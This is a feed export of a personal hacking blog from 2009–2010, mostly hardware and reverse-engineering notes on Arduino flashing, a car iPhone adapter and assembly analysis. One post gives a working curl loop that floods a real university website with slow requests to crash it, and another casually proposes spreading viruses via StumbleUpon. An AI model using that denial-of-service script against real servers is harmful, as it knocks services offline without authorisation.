pointer; width: 400px; height: 143px;" src="http://3.bp.blogspot.com/_VjvtY-L1RNE/S6ZCAoKg72I/AAAAAAAAME0/gejBtlBgdaE/s400/iphone_to_car.png" alt="" id="BLOGGER_PHOTO_ID_5451116977527517026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;As you can see, there is a 10Pin connector, probably a JTAG (according to the ARM datasheet). I am surprised they let the pins, now I just want to test what's going on in the chips. However, we don't need all this information. Another approach is to check what are the signals coming in and out from this device: how does the iPhone communicate with the car and vice-versa, how does the car communicate with the iPhone ? For this, we must be able to sniff the USB connexion. How ? You might use &lt;a href="http://www.totalphase.com/solutions/apps/usb_analyzer_guide/"&gt;an expensive USB sniffer&lt;/a&gt;, or there might be another better [aka cheaper] option: dumping the content right after the PL-2303 and right before the USB2512i, because we will have a serial signal :).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-7048740760814609100?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/7048740760814609100/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/04/analyzing-fiat-blue-iphone-adapter.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/7048740760814609100'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/7048740760814609100'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/04/analyzing-fiat-blue-iphone-adapter.html' title='Analyzing the Fiat Blue&amp;Me iPhone Adapter'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_VjvtY-L1RNE/S6YR8NbS_dI/AAAAAAAAMEc/ciPAEXRuON8/s72-c/zoom_on_stm.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-2118540356626241222</id><published>2010-03-20T15:09:00.005+01:00</published><updated>2010-07-01T11:34:16.528+02:00</updated><title type='text'>Dumping out the content of the Arduino</title><content type='html'>I'm very impressed by how easy it is to make a small program on the arduino, the community did a great job. Also, I think it's a very easy introduction to embedded systems, because you don't have to worry about the low-level aspect of embedded systems in general.&lt;br /&gt;Recently, I had to analyze a "black-box". By black-box I mean a box that you don't know anything about. In my case, it was a 3k$ video component, with a FPGA (Cyclone II) and an atmel (Atmega168). I got it for a little moment, I also had an AVR programmer but I did not know how I could dump out the content of the atmega chip.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.efo.ru/ftp/pub/atmel/_AVR_MCUs_8bit/_Technical_Library/tools/programmer/avrispmkii/img/ispMKII.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 175px; height: 140px;" src="http://www.efo.ru/ftp/pub/atmel/_AVR_MCUs_8bit/_Technical_Library/tools/programmer/avrispmkii/img/ispMKII.jpg" alt="" border="0" /&gt;&lt;/a&gt;It turns out that in Windows, you can just install &lt;a href="http://www.atmel.com/dyn/products/tools_card.asp?tool_id=2725"&gt;AVR Studio&lt;/a&gt; and from there you will have a nice GUI with all the options to maybe retrieve the content from the memory. This programs does a great job, but what about Linux ?&lt;br /&gt;&lt;br /&gt;Well, avrdude is your friend in the Linux world. I wanted to dump the content of the memory, so an idea might be to use it this way:&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;~/arduino-0017/hardware/tools/avrdude \&lt;br /&gt;-C~/arduino-0017/hardware/tools/avrdude.conf -v -v -v -v \&lt;br /&gt;-pm328p -cstk500v2 -P/dev/ttyUSB1 -D  -Uflash:r:/tmp/kikou.hex:i&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;And ohh... magic, all the content is dumped on the file /tmp/kikou.hex.&lt;br /&gt;&lt;br /&gt;Well, this is an intel hex dump, so not really readable:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;:200240008093A30181E0809370011092A001089580919E0190919F012&lt;br /&gt;:2002600081E0809399011092A00110927101109270010895809198018&lt;br /&gt;:200280009801109299010895EF92FF92CF93DF93FB012091700122231&lt;br /&gt;:2002A000710123503081231708F420834081C3E7D1E0BE0150E00E941&lt;br /&gt;:2002C00071012FEF3FEF219713C099912927022E2295207F2025032E3&lt;br /&gt;:2002E000269532272327220F220F220F20258150882359F790EF283B8&lt;br /&gt;:20030000CF91FF90EF9008958091550160919A010E945F03809110016&lt;br /&gt;:20032000910181E08093980108951F920F920FB60F9211242F933F934&lt;br /&gt;[...]&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;I tried to dump it as "raw output", but you will get an hexdump. "Ce n'est pas folichon" I'd like to say. From the hexdump, one cool thing would be a disassembler, but apparently, nobody has done one on Linux. If you know a way to read hexfiles (avr-objdump won't work here), drop me a message!&lt;br /&gt;Another solution is to use the AVR Studio program in Windows, apparently it does the job, but I haven't tried yet.&lt;br /&gt;&lt;br /&gt;We'll probably come back on that very soon 8).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-2118540356626241222?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/2118540356626241222/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/03/dumping-out-content-of-arduino.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/2118540356626241222'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/2118540356626241222'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/03/dumping-out-content-of-arduino.html' title='Dumping out the content of the Arduino'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-935377365632236004</id><published>2010-01-16T15:16:00.009+01:00</published><updated>2010-01-16T15:35:19.928+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arduino'/><title type='text'>My first steps with the Arduino</title><content type='html'>&lt;div style="text-align: justify;"&gt;I recently received the arduino I ordered on Makershed. Actually, I took a starter kit to play with this small piece of hardware. The board has an ATMEGA328 uproc (8-bit) with few I/Os to play with.&lt;br /&gt;&lt;br /&gt;They offer a nice tiny sdk to write your code/compile and upload. I've nothing to say, it's working great, they did a good job, however, since I am an emacs aficionados (and I'm not a Java fan), I wanted do the process manually.&lt;br /&gt;&lt;br /&gt;The first was to analyze a bit was was given in the arduino (software) package. The file being in arduino-0017/hardware/cores/arduino/Makefile gives you the makefile to compile your programs. We can already notice that it does not work out of the box and that you've to modify it.&lt;br /&gt;&lt;br /&gt;Here are my modifications:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt; INSTALL_DIR =  $(HOME)/arduino-0017&lt;br /&gt;PORT = /dev/ttyUSB0&lt;br /&gt;UPLOAD_RATE = 57600&lt;br /&gt;&lt;br /&gt;AVR_TOOLS_PATH = /usr/bin&lt;br /&gt;SRC = $(ARDUINO)/pins_arduino.c $(ARDUINO)/wiring.c   \&lt;br /&gt;$(ARDUINO)/wiring_analog.c $(ARDUINO)/wiring_digital.c        \&lt;br /&gt;$(ARDUINO)/wiring_pulse.c     \&lt;br /&gt;&lt;br /&gt;AVRDUDE_FLAGS = -V -F -C $(INSTALL_DIR)/hardware/tools/avrdude.conf \&lt;/blockquote&gt;&lt;br /&gt;&lt;/div&gt;Well, you notice that one file somehow disappeared in &lt;span style="font-style: italic;"&gt;SRC&lt;/span&gt;. I simply removed it and it seems to be working. Also, the &lt;span style="font-style: italic;"&gt;AVR_TOOLS_PATH&lt;/span&gt; was pointing on a wrong directory.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Now, for compiling your stuff, a simple make must be enough.&lt;br /&gt;&lt;br /&gt;The next step was the upload that was a big deal for me. Actually, it was working with the Java interface, but not with avrdude. Actually, I was using the following command, because I saw it somewhere:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;blockquote&gt;avrdude -V -F -C ~/arduino-0017/hardware/tools/avrdude.conf -p m328p -P /dev/ttyUSB0 -c stk500 -b 19200 -U flash:w:applet/Fading.hex -vvvvvv&lt;/blockquote&gt;&lt;br /&gt;Well, I got the following message:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;avrdude: Send: 0 [30]   [20]&lt;br /&gt;avrdude: Send: 0 [30]   [20]&lt;br /&gt;avrdude: Send: 0 [30]   [20]&lt;br /&gt;avrdude: ser_recv(): programmer is not responding&lt;br /&gt;avrdude: stk500_recv(): programmer is not responding&lt;/blockquote&gt;&lt;br /&gt;So WTF (Huh, btw, I entered twice avrdude avrdude [...], it segfaults after trying one :)) ? How so it's working with the Java App, but not with the avrdude ? As a &lt;a href="http://hintshop.ludvig.co.nz"&gt;wise guy &lt;/a&gt;said once "one week of trial and error can save up to half an hour of reading documentation", well, actually I could have read the &lt;a href="http://www.arduino.cc/en/Guide/Troubleshooting"&gt;Arduino troubleshooting section&lt;/a&gt;, but...&lt;br /&gt;&lt;br /&gt;My idea was to sniff the what's going on &lt;span style="font-style: italic;"&gt;/dev/ttyUSB0 &lt;/span&gt;when using the Java IDE and compare it with the avrdude command. To sniff it, I found &lt;a href="http://jpnevulator.snarl.nl/"&gt;jpnevulator&lt;/a&gt; as being usefull.&lt;br /&gt;&lt;br /&gt;When running it, .&lt;span style="font-style: italic;"&gt;/jpnevulator --read --tty /dev/ttyUSB0&lt;/span&gt;, turned out that I was getting the "programmer is not responding" error message even in the Java IDE :), this meant that the Java IDE was calling avrdude somehow (since this is an avrdude error message).&lt;br /&gt;&lt;br /&gt;Cool, I downloaded the Java files from their svn and started to grep on these. In &lt;span style="font-style: italic;"&gt;arduino/app/src/processing/app/debug/Uploader.java&lt;/span&gt; I found something interesting:&lt;br /&gt;&lt;pre name="code" class="java"&gt;&lt;br /&gt;      if (verbose || Preferences.getBoolean("upload.verbose")) {&lt;br /&gt;        for(int i = 0; i &lt; commandArray.length; i++) {&lt;br /&gt;          System.out.print(commandArray[i] + " ");&lt;br /&gt;        }&lt;br /&gt;        System.out.println();&lt;br /&gt;      }&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So, since I did not want to recompile all the files (lazy ?), I just wanted to set this boolean upload.verbose to true. Turns out that the preferences are read from a file &lt;span style="font-style: italic;"&gt;~/.arduino/preferences.txt&lt;/span&gt;, so you just have to add "&lt;span style="font-style: italic;"&gt;upload.verbose=true&lt;/span&gt;" somewhere in there.&lt;br /&gt;&lt;br /&gt;Now we run the Java program again and we the nice working avrdude command. We can use it directly after resetting the device (by pushing the button or directly sending a reset signal).&lt;br /&gt;&lt;br /&gt;The command it now:&lt;br /&gt;&lt;br /&gt;&lt;blockquote style="font-style: italic;"&gt;/usr/bin/avrdude -V -F -C ~/arduino-0017/hardware/tools/avrdude.conf -p atmega168 -P /dev/ttyUSB0 -c stk500v1 -b 57600 -U flash:w:applet/Fading.hex&lt;/blockquote&gt;&lt;br /&gt;Basically, the speed was wrong. Again, don't forget to push the reset button before shipping the code on the board&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-935377365632236004?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/935377365632236004/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/01/my-first-steps-with-arduino.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/935377365632236004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/935377365632236004'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/01/my-first-steps-with-arduino.html' title='My first steps with the Arduino'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-7914608505382342423</id><published>2010-01-11T16:58:00.011+01:00</published><updated>2010-03-21T12:44:38.840+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='assembly'/><category scheme='http://www.blogger.com/atom/ns#' term='x86_64'/><title type='text'>Finding the number of parameters directly in the assembly</title><content type='html'>&lt;div style="text-align: justify;"&gt;Recently, when working on my library tracer, I wanted to know the number of parameters a function uses. I did not have any access to source code or debug info, so I had to find another way to get this information. Programs like ltrace/strace have an extra file, usually located in /etc/ to define the prototype of certain functions. When ltrace does not know a specific function prototype,  it simply sets the number of parameters to 5 by default. However, by doing a simple analysis of the assembly code we can infer the number of parameters with a pretty high success rate. In my study I assumed we are using a x86_64 Linux box that binaries have not been obfuscated.&lt;br /&gt;&lt;br /&gt;We will focus on regular registers, but the theory applies for FPU registers too. By convention, on x86_64, GCC will use the registers to pass the arguments (before using the stack), in the following order: %di - %si - %dx - %cx - %r8 and %r9. Thus, without loss of generality, up to 6 parameters can be passed through registers (before using the stack), with some exceptions for bigger data structures.&lt;br /&gt;&lt;br /&gt;We define a&lt;b&gt; block&lt;/b&gt; as being the set of instructions between two instructions changing the control flow (e.g.: ret / call / j).  First, we localize this instructions in the disassembled program. From there, we move backward to retrieve the different parameters.&lt;br /&gt;&lt;br /&gt;Let's do it on a example. The following snippet of code defines 4 blocks:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;402406:       84 c0                   test   %al,%al&lt;br /&gt;402408:       0f 84 62 ff ff ff       je     402370&lt;br /&gt;----------------------------------------------------------&lt;br /&gt;40240e:       40 84 ff                test   %dil,%dil&lt;br /&gt;402411:       74 e0                   je     4023f3&lt;br /&gt;----------------------------------------------------------&lt;br /&gt;402413:       83 3d e2 5e 21 00 03    cmpl   $0x3,0x215ee2(%rip)&lt;br /&gt;40241a:       75 d7                   jne    4023f3&lt;br /&gt;----------------------------------------------------------&lt;br /&gt;40248c:       48 8b 2d 35 69 21 00    mov    0x216935(%rip),%rbp&lt;br /&gt;402493:       ba 05 00 00 00          mov    $0x5,%edx&lt;br /&gt;402498:       be 88 0b 41 00          mov    $0x410b88,%esi&lt;br /&gt;40249d:       31 ff                   xor    %edi,%edi&lt;br /&gt;40249f:       e8 24 fb ff ff          callq  401fc8&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;If we take the last block, and we perform a backward analysis, we figure out that the registers %di, %si, %dx (and %bp) are modified. According to the _cdecl_ calling convention, it is likely that the function will take 3 arguments before jumping into the plt trampoline.&lt;br /&gt;&lt;br /&gt;Sadly, this is not always as clear as in the previous example. For instance, we can see that the others block does not follow this nice rule, but can we deduce the function are not expecting any parameter ? As it was previously stated, it is very rare that a function in called only once. Although, the main purpose of a function is exactly the opposite, ie being called as often as possible from various parts of the program. Thus, by applying the previous criterion over all functions, we can deduce a heuristics that will retrieve the number of arguments with a good success rate.&lt;br /&gt;&lt;br /&gt;Every time we encounter a function call, we save the set of registers of the block. A map looks like the following: &lt;code&gt;(%di. %si. %dx. %cx, %r8, %r9)&lt;/code&gt;. Every element is a boolean and says whether the register was used or not.&lt;br /&gt;&lt;br /&gt;Let's take the same function as before, &lt;i&gt;dcgettext(..)&lt;/i&gt; from&lt;i&gt; /bin/ls&lt;/i&gt;. The function is called around 15 times in the overall program, but all the registers cannot be retrieved  every time.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;(0, 0, 1, 1, 0, 0)&lt;br /&gt;(0, 0, 1, 0, 0, 0)&lt;br /&gt;(0, 1, 1, 0, 0, 0)&lt;br /&gt;(1, 0, 1, 0, 0, 0)&lt;br /&gt;(1, 1, 1, 0, 0, 0)&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Typically, (0, 0, 1, 1, 0, 0) means that only registers %dx and %cx were used. Thus, we take the set that has been used the most frequently.  Let's assume the set appearing the most often is: (0, 0, 1, 0, 0, 0). This would mean that only register %dx is used. However, we do have a discrepancy compared to the official _cdecl_, because the first parameter must be sent through the %di register.&lt;br /&gt;&lt;br /&gt;A good practice is to set to 1 all the registers that are on the left of the top-right register in the map. Thus, (0, 0, 1, 0, 0, 0) will become (1, 1, 1, 0, 0, 0). This means that register %di and %si are also used. To make sure our theory is correct, we can check in the man pages that the prototype is correct:&lt;br /&gt;&lt;br /&gt;  &lt;code&gt; char * dcgettext (const char * domainname, const char * msgid,  int category);&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;For the function having an associated man page, this technique has been shown to be very effective, by retrieving correctly the number of registers 90% of the time. When the mean gives us a guessable output, we will always choose the value that have more registers set, in order not to miss any of them. Note that this technique is very light, since it does not require to go into the called function to analyze the parameters in there.&lt;br /&gt;&lt;br /&gt;To implement this, I chose Perl for a simple reason: I get the binary output from objdump and then I can parse into it pretty easily with simple regex.  Using this kind of techniques we can also infer the type of the parameters, but this is another story 8).&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-7914608505382342423?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/7914608505382342423/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/01/finding-number-of-parameters-directly.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/7914608505382342423'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/7914608505382342423'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2010/01/finding-number-of-parameters-directly.html' title='Finding the number of parameters directly in the assembly'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-670064054215040318</id><published>2009-12-15T16:05:00.003+01:00</published><updated>2009-12-15T16:13:08.828+01:00</updated><title type='text'>Using Stumbleupon to spread virii ?</title><content type='html'>Chances are that you discovered my website by &lt;a href="http://www.stumbleupon.com/"&gt;"stumbling upon". &lt;/a&gt; I like this way of spending time, by fucking around over the Internet. You just click and you get a new webpage that fits sometimes what you like.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;However, it might be a great way to spread virii also. Assume that you stumble a virus you intentionally added on a box you own. Then people will come on this website and their browser will ask for downloading this file. When you know that the lambda user will always click on "OK", you might infect him with a high percentage rate. This idea worth trying...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-670064054215040318?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/670064054215040318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/12/using-stumbleupon-to-spread-virii.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/670064054215040318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/670064054215040318'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/12/using-stumbleupon-to-spread-virii.html' title='Using Stumbleupon to spread virii ?'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-302488822164696323</id><published>2009-10-22T19:56:00.006+02:00</published><updated>2009-10-22T22:14:08.006+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>Abuse the load time of a Web page, for DoS &amp; profit</title><content type='html'>In my university, we have different canteens (this is how it's called) where you can eat  for lunch. Each canteen puts its food on a common website.&lt;br /&gt;&lt;br /&gt;You also have the possibility to see what was yesterday's lunch, but also tomorrow's one. Basically, if you request tomorrow's offer, the URL will look like&lt;br /&gt;&lt;blockquote&gt;http://X?ref=1&lt;/blockquote&gt;If you want yesterday's URL, you will type&lt;br /&gt;&lt;blockquote&gt;http://X?ref=-1&lt;br /&gt;&lt;/blockquote&gt;And obviously, if you want to have the menu that was available 2 days ago, you just have to type&lt;br /&gt;&lt;blockquote&gt;http://X?ref=-2&lt;/blockquote&gt;Of course, the idea is to input a big number here and see what happens. Usually, big numbers are escaped. Let's have a try...&lt;br /&gt;&lt;blockquote&gt;http://X?ref=-20000&lt;/blockquote&gt;This gives us the offers of the Wednesday, Jan 19 1955. Of course, the entry is empty, but it's fun to come back that much. Now we add one more '0'&lt;br /&gt;&lt;blockquote&gt;http://X?ref=-200000&lt;/blockquote&gt;The date now is Jan 1st 1970. This date should talk to you (doesn't it ?). Do we have an overflow somewhere in there ? Clearly, there is a validation input issue. I also quickly tested other escape patterns, they did not work.&lt;br /&gt;&lt;br /&gt;However, we can measure the load time of the page to see if our input modifies it. To do it, I will use this small script that will only count the load time&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;for i in $(seq 1 8000000 2000000000)&lt;br /&gt;do&lt;br /&gt;  curl -s -w "%{time_total}\n" -o /dev/null http://X.php?ref=-$i &gt;&gt; /tmp/result.txt&lt;br /&gt;done&lt;br /&gt;&lt;/pre&gt;Then, we can plot the result of the previous command.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_VjvtY-L1RNE/SuC0OhgdDEI/AAAAAAAAAGI/euu8uts3pDQ/s1600-h/hiha.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 146px;" src="http://2.bp.blogspot.com/_VjvtY-L1RNE/SuC0OhgdDEI/AAAAAAAAAGI/euu8uts3pDQ/s400/hiha.jpg" alt="" id="BLOGGER_PHOTO_ID_5395510515195513922" border="0" /&gt;&lt;/a&gt;I admit I wasn't expecting such an increase. The script probably has an internal loop and iterates over the argument we provide. If we decrease the granularity by increasing the increment, but also the limit, this rule is confirmed as you can see on the next plot.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_VjvtY-L1RNE/SuC2xn8hwuI/AAAAAAAAAGQ/wL3VudK6UjU/s1600-h/hiha2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 104px;" src="http://2.bp.blogspot.com/_VjvtY-L1RNE/SuC2xn8hwuI/AAAAAAAAAGQ/wL3VudK6UjU/s400/hiha2.jpg" alt="" id="BLOGGER_PHOTO_ID_5395513317242553058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This time, we start seeing some discrepancies, but the overall picture is still linear. Since we get such a nice graph, why not trying with HUGE values ?&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;curl -s -w "%{time_total}\n" -o /dev/null http://X?ref=-200000000000&lt;br /&gt;30.084&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The last request took 30s to be computed. So what's next ? If it takes 30 seconds for 1 request, what will happen for 4000 requests ?&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;for i in {1..4000}&lt;br /&gt;do&lt;br /&gt;  curl -s -w "%{time_total}\n" -o /dev/null http://X?ref=-200000000000 &gt; /dev/null &amp;amp;&lt;br /&gt;done&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;You will notice that a '&amp;amp;' was added at the end of the command, in order it to fork. It will probably dramatically slow down your computer, but you will eventually crash the remote machine.&lt;br /&gt;&lt;br /&gt;Actually, the load time trick has already been used in the past. Typically, you could use this to query a database: depending on the time it takes to answer, you'll be able to deduce whether the login/pass was in the database or not (sort of "side channel attack").&lt;br /&gt;&lt;br /&gt;Well, once you can identify this kind of behavior (change in the processing time upon request), it becomes just a matter of requests for the machine to become out of ressources. Here, the server is misconfigured: one should not allow so many request from a client in such a small time, especially when they increase the resource consumption, and one should also check the input validation more carefully.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-302488822164696323?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/302488822164696323/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/10/abuse-load-time-of-web-page-for-dos.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/302488822164696323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/302488822164696323'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/10/abuse-load-time-of-web-page-for-dos.html' title='Abuse the load time of a Web page, for DoS &amp; profit'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_VjvtY-L1RNE/SuC0OhgdDEI/AAAAAAAAAGI/euu8uts3pDQ/s72-c/hiha.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-1345464921083818878</id><published>2009-09-29T20:45:00.012+02:00</published><updated>2010-07-02T07:06:59.086+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='canned responses'/><category scheme='http://www.blogger.com/atom/ns#' term='email'/><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><category scheme='http://www.blogger.com/atom/ns#' term='gmaiil'/><title type='text'>Defeat google's canned response</title><content type='html'>&lt;div style="text-align: justify;"&gt;There is a great application in gmail lab, called "canned responses". Basically, it replies on your behalf, when your email matches the filter you set up.&lt;br /&gt;This is great for example if you go on vacation and you want to auto-reply a particular message. However, gmail is following "too well" the standard.&lt;br /&gt;&lt;br /&gt;In my case, I was really disturbed by the emails I was receiving from my school associations. You know, they are the kind of emails you absolutely don't care about.&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;So what's the problem ?&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The problem is this emails are sent through lists. Usually, there is a moderator deciding whether or not forwarding the email. In my case, I couldn't unsubscribe from the list and I was receiving like 3-5 emails/day.&lt;br /&gt;When using the gmail canned responses, it replied to the "list-bounce" (ie following theReturn-Path in the email header  and then, the sender did not receive my email back. That was a pitty.&lt;br /&gt;The idea was then to:&lt;br /&gt;&lt;/div&gt;&lt;ol style="text-align: justify;"&gt;&lt;li&gt;Effectively reply to the sender, not to the bouncer.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Also send an email to the list moderator to show my displeasure.&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: justify;"&gt;Sounds like a perl script would be very easy to write. I created a &lt;span style="font-style: italic;"&gt;new&lt;/span&gt; gmail account and I enabled the &lt;span style="font-style: italic;"&gt;POP&lt;/span&gt; (Settings-&gt;Forwarding and POP/IMAP). On my main email address, I forwarded the email matching a 